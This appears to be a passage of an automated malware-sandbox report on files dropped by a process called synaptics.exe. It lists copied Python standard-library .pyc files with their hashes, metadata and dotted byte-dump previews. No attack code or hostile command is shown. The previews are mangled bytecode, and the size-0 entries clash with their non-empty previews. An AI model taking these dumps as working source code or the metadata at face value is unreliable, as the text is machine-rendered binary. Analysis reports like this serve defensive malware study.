              Preview:o.......:.-d.........................@...sl...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.i.Z.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d...Z.d.S.).z.Cache lines from Python source files...This is intended to read lines from modules imported -- hence if a filename.is not found, it will look down the module search path for a file by.that name.......N)...getline..clearcache..checkcache..lazycachec....................C...s....t.......d.S.).z.Clear the cache entirely.N)...cache..clear..r....r.....7C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\linecache.pyr........s......r....c....................C...s8...t.|.|...}.d.|.....k.r.t.|...k.r.n...d.S.|.|.d.....S.d.S.).z~Get a line for a Python source file from the cache.. Update the cache if it doesn't contain an entry for this file already........)...getlines..len)...filename..lineno..module_globals..linesr....r....r....r........s..............r....c....................C...sR...|.t.v.r.t.|...}.t.|...d.k.r.t.|...d...S.z.t.|.|...W.S...t.y(

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\locale.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:036DFCE15A639F6E95DA10BEA3397F27
              SHA1:5F8547EC73E5BDD62D6074C16F364AA63400FBFE
              SHA-256:626FEA2076BA31D86111A383E967FA0244E7F07E7F129F975BC959224CE4B8FE
              SHA-512:A0B26AE46384838BC746A1611B874390DA7E68E71B94CC57D8F969A3D5197FEDDFF0D34F52956F6E42EB6A38ED25AF1BC1C7F44DFE3B680612F73EB55AD0D9F6
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.8.......................@...sF"..d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.Z.g.d...Z.d.d...Z.d.d...Z.z.d.d.l.T.W.n%..e.yW......d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.e.Z.d.d...Z...d.d.d...Z.Y.n.w.d.e...v.r_e.Z.d.e...v.rfe.Z.e.Z.i.Z.e.. e...d.d.....Z.d.d...Z!..d.d.d...Z"d.d...Z#e..$d...Z%..d.d d!..Z&..d.d"d#..Z'..d.d$d%..Z(..d.d&d'..Z)..d.d)d*..Z*d+d,..Z.d-d...Z+..d.d/d0..Z,e-f.d1d2..Z.d3d4..Z/d5d6..Z0e.Z1d7d8..Z2d9d:..Z3d;d<..Z4d=d>..Z5d?d@..Z6..d.dBdC..Z7e.f.dDdE..Z8..d.dFd...Z.e.f.dGdH..Z9z.d.dIl.m:Z:..W.n...e...y.......dJdK..Z:Y.n.w.z.e;..W.n...e<..y.........d.dLdM..Z=Y.n.w...d.dNdM..Z=i.dOdP..dQdP..dRdS..dTdU..dVdU..dWdX..dYdZ..d[d\..d]d^..d_d`..dadS..dbdc..ddde..dfdg..dhdS..didS..djdS..i.dkdl..dmdn..dodp..dqdr..dsdg..dtdu..dvdc..dwdx..dydz..d{de..d|d}..d~d...d.d...d.d...d.dU..d.d...d.d.....dXd.d.d.d.d.d.d\d^d`d.....Z>e?e>.@....D.].\.ZAZBeA.Cd.d...ZAe>.DeAeB......q.i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\lzma.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:DBC7EFA3188DD4098F17145D71BB9659
              SHA1:5571B0C6E0162303C13D4E705D48FE820678C590
              SHA-256:F7AEB0D3F7C5A29338E296B29335FE16DB5BC9C6A9F5B45B18FAF61B4FDCDF6B
              SHA-512:AFAD754661F0D12A2AB85BCE2F2C4282981E30C7F9747D41CC74EC6EE3EE32D762AE892EA984562F46F896ED10A88B8DADEF5F9C66B0F3F9225E69C2163644C2
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-dA5.......................@...s....d.Z.g.d...Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.T.d.d.l.m.Z.m.Z...d.d.l.Z.d.Z.d.Z.d.Z.G.d.d...d.e.j...Z.d.d.d.d.d.d.d.d.d...d.d...Z.e.d.d.d.f.d.d...Z.e.d.d.f.d.d...Z.d.S.).aS...Interface to the liblzma compression library...This module provides a class for reading and writing compressed files,.classes for incremental (de)compression, and convenience functions for.one-shot (de)compression...These classes and functions support both the XZ and legacy LZMA.container formats, as well as raw compressed data streams..)$Z.CHECK_NONEZ.CHECK_CRC32Z.CHECK_CRC64Z.CHECK_SHA256Z.CHECK_ID_MAXZ.CHECK_UNKNOWNZ.FILTER_LZMA1Z.FILTER_LZMA2Z.FILTER_DELTAZ.FILTER_X86Z.FILTER_IA64Z.FILTER_ARMZ.FILTER_ARMTHUMBZ.FILTER_POWERPCZ.FILTER_SPARC..FORMAT_AUTO..FORMAT_XZZ.FORMAT_ALONEZ.FORMAT_RAWZ.MF_HC3Z.MF_HC4Z.MF_BT2Z.MF_BT3Z.MF_BT4Z.MODE_FASTZ.MODE_NORMALZ.PRESET_DEFAULTZ.PRESET_EXTREME..LZMACompressor..LZMADecompressor..LZMAFile..LZMAError..open..compress..decompressZ.is_c

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\ntpath.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:EC66AC64D933A0061313011C87B8A268
              SHA1:2FDC5D069BDD7C6F04B6687742D0527BE385932F
              SHA-256:984364F9E84D71E7376D396CB91847639C87AFF9DB531A20E1308406FA4183D8
              SHA-512:DCAA3122E57188E472DCDDDC6A78CF2944CB23C6DEDDA721686EC5C3A44BDF94458420AA6382380B2F031588BABC0D053CD60815DE91DE3E1C3DD01EA1C74162
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-dov.......................@...s....d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.T.g.d...Z.d.d...Z.z.d.d.l.m.Z.m.Z.m.Z...d.d...Z.W.n...e.yK......d.d...Z.Y.n.w.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.j.j.e._.d.d...Z.d.d...Z.d d!..Z d"d#..Z!z.d.d$l"m#Z#..W.n...e.y.......d.Z#Y.n.w.d%d&..Z$d'd(..Z%d)d*..Z&d+d,..Z'd-d...Z(z.d.d/l"m)Z)..W.n...e.y.......e(Z*Y.n.w.d0d1..Z*z.d.d2l"m+Z+m,Z-..W.n...e.y.......e*Z.Y.n.w.d3d4..Z/d5d6..Z0d7d8..d9d:..Z.e1e.d;..o.e..2..d<..d=k.Z3dCd>d?..Z4d@dA..Z5z.d.dBl"m6Z7..W.d.S...e...y.......Y.d.S.w.)Dz.Common pathname manipulations, WindowsNT/95 version...Instead of importing this module directly, import os and refer to this.module as os.path...........\..;../z..;C:\binZ.nul.....N)...*)&..normcase..isabs..join..splitdrive..split..splitext..basename..dirnameZ.commonprefixZ.getsizeZ.getmtimeZ.getatimeZ.getctime..islink..exists..lexists..isdir..isfile..ismount..expanduser..expandvars..normpath..abspath..curdir..pardir..sep..p

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\nturl2path.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:D7589DE62F4850B77A4B591789676592
              SHA1:DBD393E4DF610AED18BF043A20062815EFF26534
              SHA-256:4746EE16D588603001145CDD1A09C78FE5394F29A30F87E7E474F548AB2B67AB
              SHA-512:C90F9092982574319E15A09F663C1AD8151D3F61C8EB32E5EC7AB29EA1D84F847E0DBDCEAC9290559B4F15DF501CB655AC6F059FC8E33750D8BDBBB73FC467CC
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s....d.Z.d.d...Z.d.d...Z.d.S.).z.Convert a NT pathname to a file URL and vice versa...This module only exists to provide OS-specific code.for urllib.requests, thus do not use directly..c....................C...s....d.d.l.}.d.d.l.}.|...d.d...}.d.|.v.r.|.d.d.....d.k.r |.d.d.....}.|...d...}.|.j...d...|.....S.|...d...}.t.|...d.k.sB|.d...d...|.j.v.rJd.|...}.t.|.....|.d...d.......}.|.d.....d...}.|.d...}.|.D.].}.|.rm|.d...|.j...|.....}.q_|...d...r||...d...r||.d.7.}.|.S.).z{OS-specific conversion from a relative URL of the 'file' scheme. to a file system path; not recommended for general use......N..:..|.....z.////......./..\.....z.Bad URL: .....)...string..urllib.parse..replace..split..parse..unquote..join..len..ascii_letters..OSError..upper..endswith)...urlr......urllib..components..comp..error..drive..path..r.....8C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\nturl2path.py..url2pathname....s*.............................................r....c........

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\operator.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:55DBFD34A3E1C39E209CF8A1D971C677
              SHA1:CD01D53A34FCFFDC52A58B6DF242FBDAF46AF9B1
              SHA-256:C1E3B25FE4C7F8E32C31032BECF64F30BBFF6AE074C3C73FB167C8ABA4638379
              SHA-512:18CA6DF49BAD21B074600FF8D9F2B27F679B60DB07D73299DB9775E2418535DAB372CFDB9BC45E8F0328F297602BC37678C60AC1A3B7AB32DC04DC85A8829988
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.+.......................@...s....d.Z.g.d...Z.d.d.l.m.Z...d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d d!..Z.d"d#..Z.e.Z.d$d%..Z.d&d'..Z.d(d)..Z.d*d+..Z.d,d-..Z.d.d/..Z.d0d1..Z.d2d3..Z.d4d5..Z.d6d7..Z.d8d9..Z.d:d;..Z d<d=..Z!d>d?..Z"d@dA..Z#dBdC..Z$dDdE..Z%dFdG..Z&dHdI..Z'dqdJdK..Z(G.dLdM..dM..Z)G.dNdO..dO..Z*G.dPdQ..dQ..Z+dRdS..Z,dTdU..Z-dVdW..Z.dXdY..Z/dZd[..Z0d\d]..Z1d^d_..Z2d`da..Z3dbdc..Z4ddde..Z5dfdg..Z6dhdi..Z7djdk..Z8dldm..Z9z.d.dnl:T.W.n...e;y.......Y.n.w.d.dol:m.Z...e.Z<e.Z=e.Z>e.Z?e.Z@e.ZAe.ZBe.ZCe.ZDe.ZEe.ZFe.ZGe.ZHe.ZIe.ZJe.ZKe.ZLe.ZMe.ZNe.ZOe.ZPe.ZQe.ZRe.ZSe.ZTe ZUe!ZVe"ZWe$ZXe%ZYe'ZZe,Z[e-Z\e.Z]e/Z^e0Z_e1Z`e2Zae3Zbe4Zce5Zde6Zee7Zfe8Zge9ZhdpS.)ras....Operator Interface..This module exports a set of functions corresponding to the intrinsic.operators of Python. For example, operator.add(x, y) is equivalent.to the expression x+y. The function names are those used for special.methods; variants

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\os.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:07F3E6EAEAE5F509A027888F6C67F168
              SHA1:75925CFD633E821DF4D52867634BBABB84C7A40E
              SHA-256:B1C347715FD3B267D25C6B5FDF85B4DCAE811933BB09C964716EA55290DBEB70
              SHA-512:D7488F39BE6B8CD8EF5CC23BB8406847E1943E30EBC7F252879A45D0869771D4A608AB6B4208B528E7B77A936621E12F059A6FC616232637806E2C4F7133E30C
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d........................@...sh...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...e.e.e.....Z.e.j.Z.g.d...Z.d.d...Z.d.d...Z.d.e.v.rod.Z.d.Z.d.d.l.T.z.d.d.l.m.Z...e...d.....W.n...e.yK......Y.n.w.d.d.l.Z.z.d.d.l.m.Z...W.n...e.ya......Y.n.w.d.d.l.Z.e...e.e.......[.nId.e.v.r.d.Z.d.Z.d.d.l.T.z.d.d.l.m.Z...e...d.....W.n...e.y.......Y.n.w.d.d.l.Z.d.d.l.Z.e...e.e.......[.z.d.d.l.m.Z...W.n...e.y.......Y.n.w.e.d.....e.e.j.d.<.d.d.l.m.Z.m.Z.m Z m!Z!m"Z"m#Z#m$Z$m%Z%..[.e.d.....r.e&..Z'd.d...Z(e)..Z*e(d.d.....e(d.d.....e(d.d.....e(d.d.....e(d.d ....e(d!d"....e(d#d$....e(d%d&....e(d'd(....e(d)d*....e(d+d,....e(d-d.....e(d/d0....e(d1d2....e(d1d3....e(d4d ....e*Z+e)..Z*e(d.d.....e*Z,e)..Z*e(d5d6....e(d7d.....e(d8d.....e(d9d:....e(d9d;....e(d<d=....e*.-e.....e(d>d?....e(d@d ....e(dAd ....e(dBdC....e.dD....r.e.dE....r.e(dFdD....e*Z.e)..Z*e(d.d.....e(d.d.....e(d.d.....e(dGdH....e(dId.....e.dJ....r.e(dKd.....e(d!d"....e(dLd ....e(dMd.....e(d.d.....e(d4d ....e(dNd.....e*Z/[*[.['[(d.Z0dOZ1dPZ2d.dSdT..Z3

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\posixpath.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:93FF28AEE966F490F26A26CCCD19D4CA
              SHA1:071B29846BBC4C08D0DD274D6996C459FEA53A16
              SHA-256:DAC6CD118A2F86C02C0320E455CBC5D1A41B77D51A46A1575B36187959258A6D
              SHA-512:5E5E47C824BDB1AA4720FBB78134FC604292B80F7DFA9F455E88EFEC359672DE6B4866DF274D0F8EEDBE119CB57C7CC03CE8092ED024B0B967F8BED0181C2474
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.A.......................@...s....d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.T.g.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.j.j.e._.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d ..Z.d!d"..Z.d#d$..Z.d.a.d.a.d%d&..Z.d'd(..Z.d)d*..Z d+d,..d-d...Z!d/d0..Z"e.j#d1k.Z$d6d2d3..Z%d4d5..Z&d.S.)7a....Common operations on Posix pathnames...Instead of importing this module directly, import os and refer to.this module as os.path. The "os.path" name is an alias for this.module on Posix systems; on other systems (e.g. Windows),.os.path provides the same operations in a manner specific to that.platform, and is an alias to another module (e.g. ntpath)...Some of this can actually be useful on non-Posix systems too, e.g..for manipulation of the pathname component of URLs.........../..:z./bin:/usr/binNz./dev/null.....)...*)&..normcase..isabs..join..splitdrive..split..splitext..basename..dirname..commonprefix..getsize..getmtime..getatime..getctime..islink..exis

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\quopri.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:4909540BE34C239538F48F978D3E8317
              SHA1:4FF39BD280BEA1B1232E50A59F734C142B37F2EE
              SHA-256:6BAF52E2E144497104D1986988F1F7073BA58D038666922F10F701B3E09AD7DE
              SHA-512:455D290AE88A9D6F22175D8293FCD466BF8BAA8F52C462E4176C8275C294E0C587601440A9365CC2CAC350D066E7C239F6E1415893B7F792730E65C837FB8A8F
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-dV........................@...s....d.Z.g.d...Z.d.Z.d.Z.d.Z.d.Z.z.d.d.l.m.Z.m.Z...W.n...e.y%......d.Z.d.Z.Y.n.w.d.d...Z.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.d.k.rWe.....d.S.d.S.).zHConversions to/from quoted-printable transport encoding as per RFC 1521.)...encode..decode..encodestring..decodestring.....=.L...s....0123456789ABCDEF..........)...a2b_qp..b2a_qpNc....................C...sH...t.|.t...s.J...|.d.v.r.|.S.|.d.k.r.|.S.|.t.k.p#d.|.....k.o d.k.n.......S.).z.Decide whether a particular byte ordinal needs to be quoted... The 'quotetabs' flag indicates whether embedded tabs and spaces should be. quoted. Note that line-ending tabs and spaces are always encoded, as per. RFC 1521.. ..... ......_..... .....~)...isinstance..bytes..ESCAPE)...c..quotetabs..header..r.....4C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\quopri.py..needsquoting....s..............".r....c....................C...sB...t.|.t...r.t.|...d.k.s.J...t.|...}.t.t.t.|.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\random.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:604517E9FB69952AAA9374BAE115BAAB
              SHA1:1A01D0025CD9FF10BE485227242A60759A6B9452
              SHA-256:EBCDA212AFC1239D18EBF371844EDD991C235D4A55217005C7271DA696B86A71
              SHA-512:CB38C4D4122DE27152065B1B3E637EB27C5104D02AD3CD16FB014F4744399731F53B00ABDEBEDD95FBA8A690DA7E3FA271A9E3C633A376BB4C7E180F6A58239D
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-dg........................@...s....d.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l m!Z"m#Z$..d.d.l%m&Z'..d.d.l(m)Z*m+Z,..d.d.l-m-Z...d.d.l.Z/d.d.l0Z0z.d.d.l1m2Z1..W.n...e3ym......d.d.l4m2Z1..Y.n.w.g.d...Z5d.e.d.....e.d.....Z6e.d...Z7d.e.d.....Z8d.Z9d.e9....Z:d.Z;G.d.d...d.e0j<..Z<G.d.d...d.e<..Z=e<..Z>e>j?Z?e>j@Z@e>jAZAe>jBZBe>jCZCe>jDZDe>jEZEe>jFZFe>jGZGe>jHZHe>jIZIe>jJZJe>jKZKe>jLZLe>jMZMe>jNZNe>jOZOe>jPZPe>jQZQe>jRZRe>jSZSe>jTZTe>jUZUd.d...ZVd#d.d...ZWeXe/d ..r.e/jYe>j?d!....eZd"k...r.eW....d.S.d.S.)$a....Random variable generators... bytes. -----. uniform bytes (values between 0 and 255).. integers. --------. uniform within range.. sequences. ---------. pick random element. pick random sample. pick weighted random sample. generate random permutation.. distributions on the real line:. ------------------------------. unifor

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\re.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:A49B7F648F28B46256720600E9E85133
              SHA1:74AF0C79DD19A8AF0A95EA2E5D3F110C29CDB42C
              SHA-256:BAE82439DF6088E23D89CDAEBB30B5812FFDDC2561F250BF1C288632BAB43830
              SHA-512:656B7422966DDC243DEE8BF224EED4ACF25F7BE99F9C27E8D4A932632589EE348BB56C3E42F8E92CAD502956CAF8D171D84E3F6BCEB5959164BF8436BA0B8B56
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-ds?.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.z.d.d.l.Z.W.n...e.y#......d.Z.Y.n.w.g.d...Z.d.Z.G.d.d...d.e.j...Z.e.....e.j.....e.j.Z.d0d.d...Z.d0d.d...Z.d0d.d...Z.d1d.d...Z.d1d.d...Z.d1d.d...Z.d0d.d...Z.d0d.d...Z.d0d.d...Z.d.d...Z.d0d.d...Z.d.d...d.D...Z.d d!..Z.e.e...d"d.....Z.e.e...d"d.....d"....Z.i.Z.d#Z d$d%..Z!e.."e ..d&d'....Z#d(d)..Z$d*d+..Z%d.d.l&Z&d,d-..Z'e&.(e.e'e!....G.d.d/..d/..Z)d.S.)2a....Support for regular expressions (RE)...This module provides regular expression matching operations similar to.those found in Perl. It supports both 8-bit and Unicode strings; both.the pattern and the strings being processed can contain null bytes and.characters outside the US ASCII range...Regular expressions can contain both special and ordinary characters..Most ordinary characters, like "A", "a", or "0", are the simplest.regular expressions; they simply match themselves. You can.concatenate ordinary characters, so last matches the string 'last'...Th

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\reprlib.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:C8269705A200B0019AD1EED0BA9C223A
              SHA1:5AAD142FBCDCCF05D014A7DD1B85F174E6604E60
              SHA-256:8D184E6FD498674A981F1E418E8D7AAD38955D93C9D3D7B7F6BB1940B5E6748A
              SHA-512:0BD66849AD98B36038B2B8BDD2087856BE96B721812503950D72D4216E022AC31E3AC8581C2963B4CAA899A72E7692AD595F09A3426016B16E09A3D67CD608DC
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d4........................@...s\...d.Z.g.d...Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.d...Z.G.d.d...d...Z.d.d...Z.e...Z.e.j.Z.d.S.).zGRedo the builtin repr() (representation) but with limits on most sizes.)...Repr..repr..recursive_repr.....N)...islice)...get_ident.....c........................s......f.d.d...}.|.S.).zGDecorator to make a repr function return fillvalue for a recursive callc........................sX...t...........f.d.d...}.t...d...|._.t...d...|._.t...d...|._.t...d...|._.t...d.i...|._.|.S.).Nc........................sJ...t.|...t...f.}.|...v.r...S.....|.....z...|...}.W.....|.....|.S.....|.....w...N)...idr......add..discard)...self..key..result)...fillvalue..repr_running..user_function...5C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\reprlib.py..wrapper....s......................z<recursive_repr.<locals>.decorating_function.<locals>.wrapper..__module__..__doc__..__name__..__qualname__..__annotations__)...set..getattrr....r....r....r....r....).r....r......r....).r....r.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\selectors.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:CE5FC33825270E09320E23A6F0C2D054
              SHA1:E5BF229B4CD7B1BF08A22596FAE332AD1D634AC8
              SHA-256:39741B0314057C87B600D0A25A099394750D6C83BCDC36C656B5B1CF029B0539
              SHA-512:2F4D3567A64F149E6EA330B51A8AB6BEF0196D31DE5C1C6D0C0A5261B2BAB28EE589F2BDBD9C14F3BDDEECBA2E90F8873C6F8F350C60B7A04AA59A42C4643EFE
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.N.......................@...s....d.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.Z.d.Z.d.d...Z.e.d.g.d.....Z.d.e._.e.j.d.k.rId.e.j._.d.e.j._.d.e.j._.d.e.j._.G.d.d...d.e...Z.G.d.d...d.e.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.e.e.d...r.G.d.d...d.e...Z.e.e.d ..r.G.d!d"..d"e...Z.e.e.d#..r.G.d$d%..d%e...Z.e.e.d&..r.G.d'd(..d(e...Z.d)d*..Z.e.d&..r.e.Z.d.S.e.d ..r.e.Z.d.S.e.d#..r.e.Z.d.S.e.d...r.e.Z.d.S.e.Z.d.S.)+z|Selectors module...This module allows high-level and efficient I/O multiplexing, built upon the.`select` module primitives.......)...ABCMeta..abstractmethod)...namedtuple)...MappingN..........c....................C...s`...t.|.t...r.|.}.n.z.t.|.......}.W.n...t.t.t.f.y"......t.d...|.....d...w.|.d.k.r.t.d...|.......|.S.).z.Return a file descriptor from a file object... Parameters:. fileobj -- file object or file descriptor.. Returns:. corresponding file descriptor.. Raises:. ValueError if the object is invalid. z.I

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\shutil.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:7F6DA9DDCF6D60F9B20F436F439C39D5
              SHA1:0C500ABAE82760C5CABDD6686E88998FB0647409
              SHA-256:BE2F1CDFE89DF272059424776BFDD4A66648C56626B61D5ABE105E6BB1F182B9
              SHA-512:2D8EFF2A845E2A7F0D7DB059447D4C9AE5FEC9B0914FEC540C4259C98FEF699FC6F2D19F928226505AFB021165F04A7ED639222B28A7FC39610515251C3064A5
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s"...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.z.d.d.l.Z.[.d.Z.W.n...e.y.......d.Z.Y.n.w.z.d.d.l.Z.[.d.Z.W.n...e.yC......d.Z.Y.n.w.z.d.d.l.Z.[.d.Z.W.n...e.yX......d.Z.Y.n.w.e.j.d.k.Z.d...Z.Z.e.j.d.k.rld.d.l.Z.n.e.rrd.d.l.Z.e.rvd.n.d.Z.e.e.d...o.e.j...d...a.e.o.e.e.d...Z.d.Z.g.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e ..Z!G.d.d...d.e ..Z"d.d...Z#d.d...Z$e.f.d d!..Z%d.d"d#..Z&d$d%..Z'd&d'..Z(d(d)..Z)d.d*..d+d,..Z*d.d*..d-d...Z+e.e.d/....r.d.d*..d0d1..Z,n.d2d1..Z,d.d*..d3d4..Z-d.d*..d5d6..Z.d.d*..d7d8..Z/d9d:..Z0..d.d;d<..Z1d.d.e/d.d.f.d=d>..Z2e.e.j3d?....r@d@dA..Z4dBdC..Z5n.dDdA..Z4dEdC..Z5dFdG..Z6dHdI..Z7e.j8e.j.e.j9e.j:h.e.j;k...oje.j<e.j=v...oje.j.e.j>v.Z?d.dJdK..Z@e?e@_AdLdM..ZBe/f.dNdO..ZCdPdQ..ZDdRdS..ZEdTdU..ZFdVdW..ZG....d.dYdZ..ZH....d.d[d\..ZId]eHd^g.d_d.f.i.ZJe...r.eHd`g.dad.f.eJdb<.eIg.dcd.f.eJdd<.e...r.eHdeg.dfd.f.eJdg<.e...r.eHdhg.did.f.eJdj<.dkdl..ZKd.dndo..ZLdpdq..ZM

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\site.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:1F7BA7305C2A4B0147AAB41BDBF9C621
              SHA1:784E659AB7344DCFF1DBE7739CE1693772158087
              SHA-256:FF1F98B9AF0047928E7AB02CD4D89EF83D307704101ABBC68BCA9E37F296E21C
              SHA-512:82C4CBE5E534863F624E4EB14EE0C83727B6353145D40D09F568F29675BD6B82E0EC648A38BE121D660F7744AB9AD6BAFF00AD6B4ACD097988755639F7584662
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.Z.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.e.j.e.j.g.a.d.a.d.a.d.a.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d4d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d4d.d...Z.d4d.d ..Z.d!d"..Z.d#d$..Z.d%d&..Z.d'd(..Z.d)d*..Z.d+d,..Z d-d...Z!d/d0..Z"e.j#j$s.e"....d1d2..Z%e&d3k.r.e%....d.S.d.S.)5a....Append module search paths for third-party packages to sys.path...****************************************************************.* This module is automatically imported during initialization. *.****************************************************************..This will append site-specific paths to the module search path. On.Unix (including Mac OSX), it starts with sys.prefix and.sys.exec_prefix (if different) and appends.lib/python<version>/site-packages..On other platforms (such as Windows), it tries each of the.prefixes directly, as well as with lib/site-packages appended. The.resulting directories, if they exist, are appended to

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\socket.cpython-310.pyc (copy)

              Download File
